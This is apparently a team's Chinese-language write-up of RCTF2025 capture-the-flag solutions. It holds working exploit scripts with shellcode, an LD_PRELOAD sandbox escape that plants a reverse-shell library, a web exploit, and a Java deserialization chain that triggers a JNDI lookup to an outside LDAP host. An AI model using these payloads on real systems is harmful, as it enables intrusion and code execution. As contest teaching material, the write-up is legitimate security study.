本次 RCTF2025,我们 XMCVE-Polaris 战队排名第 16 。
| 排名 | 队伍 | 总分 |
|---|---|---|
| 11 | N0wayBack | 6367.56 |
| 12 | JNSEC | 6157.14 |
| 13 | Ph0t1n1a | 5475.99 |
| 14 | W&M | 5064.03 |
| 15 | _0xFFF_ | 5052 |
| 16 | XMCVE-Polaris | 5010.05 |
| 17 | Nepnep | 4589 |
| 18 | 有点调皮 | 4582.09 |
| 19 | V&N | 4556 |
| 20 | だから僕はCTFを辞めた | 4467.45 |
PWN
only

程序主要漏洞在 gift 函数内,但是我们如果想要进入 gift 函数 ,需要使我们输入的浮点数在内存中的 8 字节二进制表示,与 0xD0E0A0D0B0E0E0F 完全相等 。
这里我们可以使用 python 的 struct 模块来反向计算这个 double 值 。

在 gift 函数的选项一内,程序开辟了一个可读可写可执行的内存空间,并且在该内存空间的起始部分注入一些数据,经过调试发现,该数据的主要作用其实是对寄存器进行清空操作 ,清空了除去 RBP 和 RSP 之外的其他寄存器,程序还给我们提供了 10 字节的有限输入空间,但由于输入字节数有限,我们无法对目标 shellcode 进行直接构造,所以我们需要想办法拼凑出 read 函数的系统调用,来实现 shellcode 续写 。

pop 指令的字节开销很小,对常见寄存器的操作只需要一个字节,我们可以利用 pop 指令,将栈上的数据弹出到目标寄存器,刚好栈上也存储着我们可读可写可执行空间的地址,由于程序在空间内起始部分清空了寄存器,所以我们只需要控制好 rsi 、rdx 两个寄存器的值即可 ,成功调用 read 函数之后,因为我们构造的 read 函数的写入位置是在可读可写可执行的空间起始处,所以我们需要计算好输入位置到执行下一条指令的偏移,然后覆盖,注入新的 shellcode 即可 。
Exp
from pwn import*
from struct import*
#p = process('./pwn')
p = remote('101.245.98.115',26100)
context(arch='amd64',log_level='debug',os='linux')
p.recvuntil("3.exit\n")
p.sendline("2")
p.recvuntil("input:\n")
packed_bytes = struct.pack('<Q', 0x0D0E0A0D0B0E0E0F)
the_double = struct.unpack('<d', packed_bytes)[0]
p.sendline(str(the_double))
p.sendlineafter('Make a choice:',"1")
p.recvuntil("your code:")
shellcode = """
pop rdx
pop rdx
pop rdx
pop rsi
pop rsi
pop rsi
syscall
"""
shellcode = asm(shellcode)
p.send(shellcode)
shellcode = asm(
"""
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
"""
)
payload = b'a'*0x32 + shellcode
p.send(payload)
p.interactive()
only_rev
rev版本将用户可以输入的字数从10字节减少到9字节,而且根据调试下来发现,在执行rwx区域代码时,该版本有多了对栈的操作
add rsp,0x12345678
add rbp,0x12345678
// shellcode
sub rsp,0x12345678
sub rbp,0x12345678
此时的栈根本没有映射,没有办法执行对栈进行操作的指令push\pop\call
在山海关大神的博客中找到这么一个解决办法https://www.cnblogs.com/LynneHuan/p/17822153.html
当寄存器全0时,只需要执行一次syscall,就会把返回地址rip赋值给rcx寄存器,rcx寄存器就会有rwx地址,然后再mov rsi,rcx;mov dl,0xff;syscall,就会reread
所以九字节的构造如下
syscall //0f 05
mov rsi, rcx //48 89 ce
mov dl, 0xff //b2 ff
syscall //0f 05
展示结果如下
syscall执行之前

syscall执行之后

reread执行这一步需要调试观察最后rsi/rcx的值,首先要保证orw需要位于第二个syscall的下方。
之后就是构造orw的shellcode,这里还要注意之前提到的此时栈结构,所以就先把栈还原回去,然后执行orw(其实后面的汇编是在编写时vscode copilot自动生成的)
sub rbp,0x12345678
sub rsp,0x12345678
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x50
mov rax,1
syscall
最后是exp
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @file: exp.py
# @author: fuchen
# @contact: MTM3MjIwMzYwQHFxLmNvbQ==
# @created: 2025-11-15
# @description: Pwn exploit template for CTF challenges
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
LOCAL = True
BINARY = "./chal"
LIBC = "./libc.so.6"
HOST = "1.95.164.64"
PORT = 26000
def setup():
if LOCAL:
return process(BINARY)
else:
return remote(HOST, PORT)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=False :p.recvuntil(delims, drop)
rl = lambda :p.recvline()
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
uu16 = lambda data :u16(data.ljust(2, b'\0'))
uu8 = lambda data :u8(data)
leak = lambda name,addr :log.success(f"{name} = {hex(addr)}")
dbg = lambda cmd='' :gdb.attach(p, cmd)
def notes():
sla(b"3.exit\n",b"1")
def add(size):
sla(b"5.back\n",b"1")
sla(b"size:",str(size).encode())
def delete():
sla(b"5.back\n",b"2")
def save(filename):
sla(b"5.back\n",b"3")
sl(b"filename: ",filename)
def edit():
sla(b"5.back\n",b"4")
def back():
sla(b"5.back\n",b"4")
def bookkeeping():
sla(b"3.exit\n",b"2")
sla(b"input:\n",str(8.592564544313935e-246).encode())
def runcode(content):
sla(b"Make a choice:",b"1")
sa(b"your code:",content)
def getcanary():
sla(b"Make a choice:",b"2")
def exploit():
global p
p = setup()
elf = ELF(BINARY)
libc = ELF(LIBC) if LIBC else None
#dbg('b *$rebase(0x1a79)')
#pause()
bookkeeping()
payload = b"\x0f\x05\x48\x89\xce\xb2\xff\x0f\x05"
runcode(payload)
orw = '''
sub rbp,0x12345678
sub rsp,0x12345678
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x50
mov rax,1
syscall
'''
shellcode = b"\x48\x89\xce\xb2\xff\x0f\x05" + asm(orw)
sleep(1)
sl(shellcode)
#pause()
itr()
if __name__ == "__main__":
try:
exploit()
except Exception as e:
log.error(f"Exploit failed: {e}")
if 'p' in globals():
p.close()
raise
WEB
RootKB
首先本地开个环境,发现在/admin/tool处存在python代码执行,但是在沙箱环境下

调试启动之后成功执行返回2
沙箱环境下的限制是没有/bin/sh,以及一些黑名单,如system,exec,eval等等,且需要提权才可以读取/root/flag
目前可以做到列目录os.listdir("/"),但是可读写只能在沙盒目录下/opt/maxkb-app/sandbox
我们发现这个目录下有一个sandbox.so文件
我们审计源码,尤其是2.3.0->2.3.1变化的部分,新增了一处
@@ -188,6 +194,9 @@ exec({dedent(code)!a})
self.user,
],
'cwd': self.sandbox_path,
+ 'env': {
+ 'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+ },
'transport': 'stdio',
}
else:
@@ -204,6 +213,9 @@ exec({dedent(code)!a})
file.write(_code)
os.system(f"chown {self.user}:root {exec_python_file}")
kwargs = {'cwd': BASE_DIR}
+ kwargs['env'] = {
+ 'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+ }
subprocess_result = subprocess.run(
['su', '-s', python_directory, '-c', "exec(open('" + exec_python_file + "').read())", self.user],
text=True,
可以看到,假使我们可以覆盖sandbox.so,就可以打LD_PRELOAD劫持,且是高权限了
至于反弹shell的.so文件的编译生成,这里就不提了
def payload():
import base64
import os
malicious_so_b64="xxxx"
malicious_data = base64.b64decode(malicious_so_b64)
with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
f.write(malicious_data)
return "sandbox.so replaced successfully"
成功替换之后os.popen("")即可触发反弹shell
cat /root/flag即可

photographer
看到别人上线20分钟秒了就觉得ai能出了,用trae的gpt5-high直接就问出来了



然后就让AI搓一个exp就行了
这道题目的exp如下
# path: exploit.py
import sys, re, uuid, base64, io, requests
def get(url, s):
r = s.get(url, allow_redirects=True)
r.raise_for_status()
return r.text
def post(url, s, data=None, files=None):
r = s.post(url, data=data, files=files)
r.raise_for_status()
return r
def b64png():
return base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
def extract_csrf_from_register(html):
m = re.search(r'name="csrf_token"\s+value="([^"]+)"', html)
return m.group(1)
def extract_csrf_from_settings(html):
m = re.search(r"const csrfToken = '([^']+)'", html)
return m.group(1)
def register(base, s):
html = get(base + '/register', s)
token = extract_csrf_from_register(html)
email = f'{uuid.uuid4().hex[:8]}@example.com'
data = {
'username': 'user' + uuid.uuid4().hex[:6],
'email': email,
'password': 'Passw0rd!',
'confirm_password': 'Passw0rd!',
'csrf_token': token
}
r = post(base + '/api/register', s, data=data)
j = r.json()
if not j.get('success'):
raise RuntimeError('register failed: ' + str(j))
return email
def upload_photo(base, s):
png = b64png()
f = io.BytesIO(png)
files = [('photos[]', ('x.png', f, '-1'))]
r = post(base + '/api/photos/upload', s, files=files)
j = r.json()
if not j.get('success') or not j.get('photos'):
raise RuntimeError('upload failed: ' + str(j))
return j['photos'][0]['id']
def set_background(base, s, photo_id):
html = get(base + '/settings', s)
token = extract_csrf_from_settings(html)
data = {'photo_id': photo_id, 'csrf_token': token}
r = post(base + '/api/user/background', s, data=data)
j = r.json()
if not j.get('success'):
raise RuntimeError('set background failed: ' + str(j))
def get_flag(base, s):
r = s.get(base + '/superadmin.php')
if r.status_code == 200:
return r.text.strip()
raise RuntimeError('flag fetch failed, status: ' + str(r.status_code))
def main():
base = sys.argv[1] if len(sys.argv) > 1 else 'http://1.95.160.41:26000/'
s = requests.Session()
register(base, s)
pid = upload_photo(base, s)
set_background(base, s, pid)
flag = get_flag(base, s)
print(flag)
if __name__ == '__main__':
main()
maybe_easy
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.rctf.server.controller;
import com.rctf.server.tool.HessianFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class RCTFController {
@RequestMapping({"/hello"})
public String hello(@RequestParam(name = "data",required = false) String data) throws Exception {
Object obj = HessianFactory.deserialize(data);
return "hello";
}
}
一个简单的hessian反序列化
发现调用了自己实现的HessianFactory
发现使用了白名单
static {
WHITE_PACKAGES.add("com.rctf.server.tool.");
WHITE_PACKAGES.add("java.util.");
WHITE_PACKAGES.add("org.apache.commons.logging.");
WHITE_PACKAGES.add("org.springframework.beans.");
WHITE_PACKAGES.add("org.springframework.jndi.");
}
发现出题人自定义的一个类
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.rctf.server.tool;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Maybe extends Proxy implements Comparable<Object>, Serializable {
public Maybe(InvocationHandler h) {
super(h);
}
public int compareTo(Object o) {
try {
Method method = Comparable.class.getMethod("compareTo", Object.class);
Object result = this.h.invoke(this, method, new Object[]{o});
return (Integer)result;
} catch (Throwable e) {
throw new RuntimeException(e);
}
}
}
这个类是可以被treemap进行触发compareTo触发其他类的动态代理的

使用n1ght_codeql搭建数据库
编写查询语句
/**
* @name Empty block
* @kind problem
* @problem.severity warning
* @id java/example/empty-block
*/
import java
import libs.Source
import libs.DangerousMethods
class InvokerHandler extends Class {
InvokerHandler() {
this.getASupertype*().getQualifiedName() = "java.lang.reflect.InvocationHandler" and
(
this.getQualifiedName().regexpMatch("java.util.+") or
this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
)
}
}
class HessianObjectFactory extends Method {
HessianObjectFactory() {
// this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory"
this.getName() = "getObject" and
this.hasNoParameters() and
(
this.getQualifiedName().regexpMatch("java.util.+") or
this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or
this.getQualifiedName().regexpMatch("org.springframework.beans.+") or
this.getQualifiedName().regexpMatch("org.springframework.jndi.+")
)
}
}
// from HessianObjectFactory i, DangerousMethod m
// where i.calls(m)
// select i
from DangerousMethod m
select m, m.getName()
发现了
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {
private final ObjectFactory<?> objectFactory;
ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
switch (method.getName()) {
case "equals":
return proxy == args[0];
case "hashCode":
return System.identityHashCode(proxy);
case "toString":
return this.objectFactory.toString();
default:
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
}
}
发现了这个类
调用了实现了这个接口的getObject
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.springframework.beans.factory;
import org.springframework.beans.BeansException;
@FunctionalInterface
public interface ObjectFactory<T> {
T getObject() throws BeansException;
}
这个时候使用第二个查询语句就发现了
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.springframework.beans.factory.config;
import java.io.Serializable;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.ObjectFactory;
import org.springframework.lang.Nullable;
import org.springframework.util.Assert;
public class ObjectFactoryCreatingFactoryBean extends AbstractFactoryBean<ObjectFactory<Object>> {
@Nullable
private String targetBeanName;
public void setTargetBeanName(String targetBeanName) {
this.targetBeanName = targetBeanName;
}
public void afterPropertiesSet() throws Exception {
Assert.hasText(this.targetBeanName, "Property 'targetBeanName' is required");
super.afterPropertiesSet();
}
public Class<?> getObjectType() {
return ObjectFactory.class;
}
protected ObjectFactory<Object> createInstance() {
BeanFactory beanFactory = this.getBeanFactory();
Assert.state(beanFactory != null, "No BeanFactory available");
Assert.state(this.targetBeanName != null, "No target bean name specified");
return new TargetBeanObjectFactory(beanFactory, this.targetBeanName);
}
private static class TargetBeanObjectFactory implements ObjectFactory<Object>, Serializable {
private final BeanFactory beanFactory;
private final String targetBeanName;
public TargetBeanObjectFactory(BeanFactory beanFactory, String targetBeanName) {
this.beanFactory = beanFactory;
this.targetBeanName = targetBeanName;
}
public Object getObject() throws BeansException {
return this.beanFactory.getBean(this.targetBeanName);
}
}
}
这里面调用了实现了BeanFactory接口的getBean
这时候codeql编写语句就发现了
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.springframework.jndi.support;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import javax.naming.NameNotFoundException;
import javax.naming.NamingException;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.BeanDefinitionStoreException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.BeanNotOfRequiredTypeException;
import org.springframework.beans.factory.NoSuchBeanDefinitionException;
import org.springframework.beans.factory.NoUniqueBeanDefinitionException;
import org.springframework.beans.factory.ObjectProvider;
import org.springframework.core.ResolvableType;
import org.springframework.jndi.JndiLocatorSupport;
import org.springframework.jndi.TypeMismatchNamingException;
import org.springframework.lang.Nullable;
public class SimpleJndiBeanFactory extends JndiLocatorSupport implements BeanFactory {
private final Set<String> shareableResources = new HashSet();
private final Map<String, Object> singletonObjects = new HashMap();
private final Map<String, Class<?>> resourceTypes = new HashMap();
public SimpleJndiBeanFactory() {
this.setResourceRef(true);
}
public void addShareableResource(String shareableResource) {
this.shareableResources.add(shareableResource);
}
public void setShareableResources(String... shareableResources) {
Collections.addAll(this.shareableResources, shareableResources);
}
public Object getBean(String name) throws BeansException {
return this.getBean(name, Object.class);
}
public <T> T getBean(String name, Class<T> requiredType) throws BeansException {
try {
return (T)(this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType));
} catch (NameNotFoundException var4) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
} catch (TypeMismatchNamingException ex) {
throw new BeanNotOfRequiredTypeException(name, ex.getRequiredType(), ex.getActualType());
} catch (NamingException ex) {
throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", ex);
}
}
public Object getBean(String name, @Nullable Object... args) throws BeansException {
if (args != null) {
throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments");
} else {
return this.getBean(name);
}
}
public <T> T getBean(Class<T> requiredType) throws BeansException {
return (T)this.getBean(requiredType.getSimpleName(), requiredType);
}
public <T> T getBean(Class<T> requiredType, @Nullable Object... args) throws BeansException {
if (args != null) {
throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments");
} else {
return (T)this.getBean(requiredType);
}
}
public <T> ObjectProvider<T> getBeanProvider(final Class<T> requiredType) {
return new ObjectProvider<T>() {
public T getObject() throws BeansException {
return (T)SimpleJndiBeanFactory.this.getBean(requiredType);
}
public T getObject(Object... args) throws BeansException {
return (T)SimpleJndiBeanFactory.this.getBean(requiredType, args);
}
@Nullable
public T getIfAvailable() throws BeansException {
try {
return (T)SimpleJndiBeanFactory.this.getBean(requiredType);
} catch (NoUniqueBeanDefinitionException ex) {
throw ex;
} catch (NoSuchBeanDefinitionException var3) {
return null;
}
}
@Nullable
public T getIfUnique() throws BeansException {
try {
return (T)SimpleJndiBeanFactory.this.getBean(requiredType);
} catch (NoSuchBeanDefinitionException var2) {
return null;
}
}
};
}
public <T> ObjectProvider<T> getBeanProvider(ResolvableType requiredType) {
throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support resolution by ResolvableType");
}
public boolean containsBean(String name) {
if (!this.singletonObjects.containsKey(name) && !this.resourceTypes.containsKey(name)) {
try {
this.doGetType(name);
return true;
} catch (NamingException var3) {
return false;
}
} else {
return true;
}
}
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException {
return this.shareableResources.contains(name);
}
public boolean isPrototype(String name) throws NoSuchBeanDefinitionException {
return !this.shareableResources.contains(name);
}
public boolean isTypeMatch(String name, ResolvableType typeToMatch) throws NoSuchBeanDefinitionException {
Class<?> type = this.getType(name);
return type != null && typeToMatch.isAssignableFrom(type);
}
public boolean isTypeMatch(String name, @Nullable Class<?> typeToMatch) throws NoSuchBeanDefinitionException {
Class<?> type = this.getType(name);
return typeToMatch == null || type != null && typeToMatch.isAssignableFrom(type);
}
@Nullable
public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
return this.getType(name, true);
}
@Nullable
public Class<?> getType(String name, boolean allowFactoryBeanInit) throws NoSuchBeanDefinitionException {
try {
return this.doGetType(name);
} catch (NameNotFoundException var4) {
throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
} catch (NamingException var5) {
return null;
}
}
public String[] getAliases(String name) {
return new String[0];
}
private <T> T doGetSingleton(String name, @Nullable Class<T> requiredType) throws NamingException {
synchronized(this.singletonObjects) {
Object singleton = this.singletonObjects.get(name);
if (singleton != null) {
if (requiredType != null && !requiredType.isInstance(singleton)) {
throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, singleton.getClass());
} else {
return (T)singleton;
}
} else {
T jndiObject = (T)this.lookup(name, requiredType);
this.singletonObjects.put(name, jndiObject);
return jndiObject;
}
}
}
private Class<?> doGetType(String name) throws NamingException {
if (this.isSingleton(name)) {
return this.doGetSingleton(name, (Class)null).getClass();
} else {
synchronized(this.resourceTypes) {
Class<?> type = (Class)this.resourceTypes.get(name);
if (type == null) {
type = this.lookup(name, (Class)null).getClass();
this.resourceTypes.put(name, type);
}
return type;
}
}
}
}
可以触发jndi,后面就是jdk原生反序列化的事情,走pojonode->spring aop->templatesImpl的事情了
package org.example;
import com.rctf.server.tool.Maybe;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.misc.Unsafe;
import ysomap.core.util.ReflectionHelper;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;
import java.util.TreeSet;
public class Exp {
public static void main(String[] args) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Class<?> name = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");
Object o1 = unsafe.allocateInstance(name);
SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("beanFactory")),simpleJndiBeanFactory);
unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("targetBeanName")),"ldap://112.124.59.213:50389/a1ab9c");
InvocationHandler o = (InvocationHandler) unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));
long objectFactory = unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory"));
unsafe.getAndSetObject(o,objectFactory,o1);
Maybe maybe = new Maybe(o);
TreeSet treeSet = makeTreeSet(maybe, maybe);
String serialize = HessianFactory.serialize(treeSet);
System.out.println(serialize);
// HessianFactory.deserialize(serialize);
}
public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception {
TreeMap<Object,Object> m = new TreeMap<>();
ReflectionHelper.setFieldValue(m, "size", 2);
ReflectionHelper.setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
ReflectionHelper.setAccessible(nodeCons);
Object node = nodeCons.newInstance(v1, new Object[0], null);
Object right = nodeCons.newInstance(v2, new Object[0], node);
ReflectionHelper.setFieldValue(node, "right", right);
ReflectionHelper.setFieldValue(m, "root", node);
TreeSet set = new TreeSet();
ReflectionHelper.setFieldValue(set, "m", m);
return set;
}
}
Misc
Speak Softly Love
1.8ssDGBTssUI
2.r178
3.https://mateusz.viste.fr/mateusz.ogg
4.16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
第一问
根据视频试图先找到电脑型号,然后结合关键词music,youtube搜索找到这个。

8ssDGBTssUI
第二问
查找DOSmid
https://www.vogons.org/viewtopic.php?t=44947

先找到关于这个的大致信息
使用的svn
svn co svn://svn.mateusz.fr/dosmid dosmid-svn
然后基于上述关键词去查找
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 200:350 | egrep -i "playlist|m3u|freeze|empty|loop|soft"
freezed v0.9 to tags
freezed v0.9.1 to tags
sequential playing of playlists, inspired by a patch proposed by Graham Wiseman
freezed v0.9.2 into tags
freezed v0.9.3 to tags
m3u playlist uses fio calls instead of fopen() and friends
fix: /random was always playing first song of the m3u list, now it is random from the start
fixed playlist gap delay computation (fixed /delay behavior, too)
freezed v0.9.4 to tags
freezed v0.9.5 to tags
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | egrep -i "playlist|m3u|freeze|empty|loop|soft"
do not freeze when no MPU401 is responding
setting volume in software again, reinstated default delay=2ms, improved keyboard reaction times and adjusted documentation
added INT28h powersaving during idle loops
detecting when a playlist is passed on command-line (but no m3u support yet)
first semi-experimental M3U support
freezed v0.6 into tags
freezed v0.6.1 into tags
freezed v0.7 in tags
freezed v0.8 into tags
added an empty and self-documented configuration file
2s silence gap is inserted only in playlist mode (no reason to wait 2s for a single file)
fixed freezing when fed with an empty playlist
if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
add a note about empty titles, when no textual data could be found in the midi file
ignore leading empty title lines
freezed v0.9 to tags
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | grep -n "soft"
260:setting volume in software again, reinstated default delay=2ms, improved keyboard reaction times and adjusted documentation
712:if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn# svn log -r 1:200 | sed -n '710,720p'
r178 | mv_fox | 2016-05-09 01:21:38 +0800 (Mon, 09 May 2016) | 1 line
if too many 'soft' errors occur in a row, dosmid aborts (protects against 'soft errors loops', typically with playlist filled with non-existing files)
------------------------------------------------------------------------
r179 | mv_fox | 2016-05-09 01:25:49 +0800 (Mon, 09 May 2016) | 1 line
replaced sleep() calls with equivalent udelay() calls (makes the binary 128 bytes lighter)
------------------------------------------------------------------------
r180 | mv_fox | 2016-05-10 02:04:00 +0800 (Tue, 10 May 2016) | 1 line
fetching more textual data from MIDI files (text events, tracks titles, marker events...) and displaying it on a little scrolling window
可以锁定在r178-180,然后试r178就直接对了
r178
第三问

根据评论区找到主页
主页里
想联系我吗?我的电子邮件地址与此网页的地址几乎相同(firstname@lastname.fr)。
令人惊讶的是,很多人难以念出我的名字,所以这里附上我的名字(图片来自 Wikimedia)。
https://mateusz.viste.fr/mateusz.ogg
第四问
在主页发现了

gopher://gopher.viste.fr

在26里找到了

16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
The Alchemist’s Cage




Wanna Feel Love
Challenge 1
She only wanted to sing, but her voice was hidden in silence. What is this email trying to tell you? Look beyond what you hear — seek the whispers in the shadows, the comments that were never meant to be seen.
邮件隐写
https://www.spammimic.com

Don't just listen to the sound; this file is hiding an 'old relic.' Try looking for the 'comments' that the player isn't supposed to see.
Challenge 2
She wants to tell you something, encoded in melodies. Within the digital symphony, her true voice emerges. What is the hidden message found in the XM file? The words she longed to sing, the feeling she wanted to share.
然后下载openmpt
评论和乐曲名有提示

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Decode hidden message from feel.wav binary-bar waveform.
Expected output: I Feel Fantastic heyheyhey
"""
import numpy as np
from scipy.io import wavfile
def read_mono_pcm(path: str):
rate, data = wavfile.read(path)
data = data.astype(float)
if data.ndim > 1: # 立体声只取一个声道
data = data[:, 0]
return rate, data
def compute_envelope(data: np.ndarray, window_size: int = 100) -> np.ndarray:
"""对绝对值做滑动平均,得到能量包络"""
abs_data = np.abs(data)
n = len(abs_data) // window_size * window_size
reshaped = abs_data[:n].reshape(-1, window_size)
env = reshaped.mean(axis=1)
return env
def binarize_envelope(env: np.ndarray) -> np.ndarray:
"""根据能量双峰分布自动求阈值,得到 0/1 序列"""
median_env = np.median(env)
low_level = np.median(env[env < median_env])
high_level = np.median(env[env > median_env])
threshold = (low_level + high_level) / 2.0
bits_raw = (env > threshold).astype(int)
return bits_raw
def run_length_encode(bits: np.ndarray):
runs = []
current = bits[0]
length = 1
for b in bits[1:]:
if b == current:
length += 1
else:
runs.append((current, length))
current = b
length = 1
runs.append((current, length))
return runs
def expand_runs_to_bits(runs):
"""
每一串 0/1 在时间上会持续若干个“单位长度”,
大部分长度约是 22 的倍数,这里固定 base_unit = 22,
再按 round(length / base_unit) 还原成重复 bit。
"""
base_unit = 22.0 # 针对 feel.wav 这题是固定的
bit_list = []
for v, l in runs:
n = int(round(l / base_unit))
if n <= 0:
n = 1
bit_list.extend([v] * n)
return bit_list
def bits_to_ascii(bit_list):
bitstr = "".join(str(b) for b in bit_list)
bitstr = bitstr[: len(bitstr) // 8 * 8] # 截断到 8 的倍数
bytes_vals = [int(bitstr[i : i + 8], 2) for i in range(0, len(bitstr), 8)]
msg = "".join(chr(b) for b in bytes_vals)
return msg, bytes_vals, bitstr
def decode_hidden_message(path: str):
rate, data = read_mono_pcm(path)
env = compute_envelope(data, window_size=100)
bits_raw = binarize_envelope(env)
runs = run_length_encode(bits_raw)
bit_list = expand_runs_to_bits(runs)
msg, bytes_vals, bitstr = bits_to_ascii(bit_list)
return msg, bytes_vals, bitstr
if __name__ == "__main__":
# 把这里改成你的文件名(与脚本在同一路径下)
wav_path = "feel.wav"
msg, bytes_vals, bitstr = decode_hidden_message(wav_path)
print("Decoded bytes:", bytes_vals)
print("Decoded message:")
print(msg)
I Feel Fantastic heyheyhey
Challenge 3
She just feels love, and her legend once spread across YouTube. Her song touched hearts, but the original video on the YouTube platform has been removed — deleted, re-uploaded, distorted, like memories fading with time. Through the fragments of public records, find where her voice first echoed: the original video ID, upload date (YYYY-MM-DD), and the one who first shared her song.
在网络存档上找到原视频
https://archive.org/details/youtube-rLy-AwdCOmI

rLy-AwdCOmI
Creepyblog
2009-04-15
Challenge 4
Her creator captured her voice, preserved in a 15-minute audio/video DVD. She only wanted to sing, and he gave her that chance. If you wish to purchase her album, to hear her songs of love, which link should you visit? After purchasing, who is the sender? And what is the actual creation year when these musical compositions first came to life?
查找购买,基本AI就能出

https://androidworld.com/prod68.htm
Chris Willis
2004
Challenge 5
本题也是基本AI出的,多提示词几次,就会给出下面这个,但是有个坑点
john-louis-bergeron和john_louis-bergeron都会导航到那个网站,但是交后面那个是错误,因为这个卡住了,错失三血
https://www.findagrave.com/memorial/63520325/john-louis-bergeron
Signin
直接看网页源代码。

发现100分就有flag了

Shadows of Asgard
是一个C2流量分析。
先找到C2上线的包

发现直接给aeskey和iv了。让ai搓了个脚本,成功解密data。
import base64, json
from Crypto.Cipher import AES
